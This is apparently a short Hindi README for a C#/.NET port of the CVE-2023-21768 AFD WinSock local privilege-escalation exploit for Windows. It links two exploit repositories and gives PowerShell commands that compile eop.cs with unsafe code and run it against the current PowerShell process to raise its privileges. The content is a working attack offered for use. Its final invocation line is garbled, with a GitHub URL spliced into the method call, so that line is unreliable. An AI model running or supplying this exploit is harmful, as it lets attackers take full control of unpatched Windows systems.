CVE-2023-21768 - Dotnet

AFD-for-WinSock-EoP शोषण का Dotnet / c# पोर्ट

संदर्भ:

• https://github.com/zoemurmure/CVE-2023-21768-AFD-for-WinSock-EoP-exploit
• https://github.com/chompie1337/Windows_LPE_AFD_CVE-2023-21768

क्यों?

कभी-कभी आप संकलित बाइनरी का उपयोग नहीं कर सकते।

कैसे करें?

Powershell में निम्नलिखित चलाएँ।

$PWSH_PID = ([System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -ExpandProperty ID)
echo "[*] Current powershell PID: $PWSH_PID"
echo "[+] Compiling EoP exploit"
Add-Type -Path eop.cs -CompilerOptions "-unsafe"
echo "[+] Triggering exploit"
[XOR.EoP]:https://raw.githubusercontent.com/xboxoneresearch/cve-2023-21768-dotnet/main/:Run($PWSH_PID)
echo "[+] Exploit finished"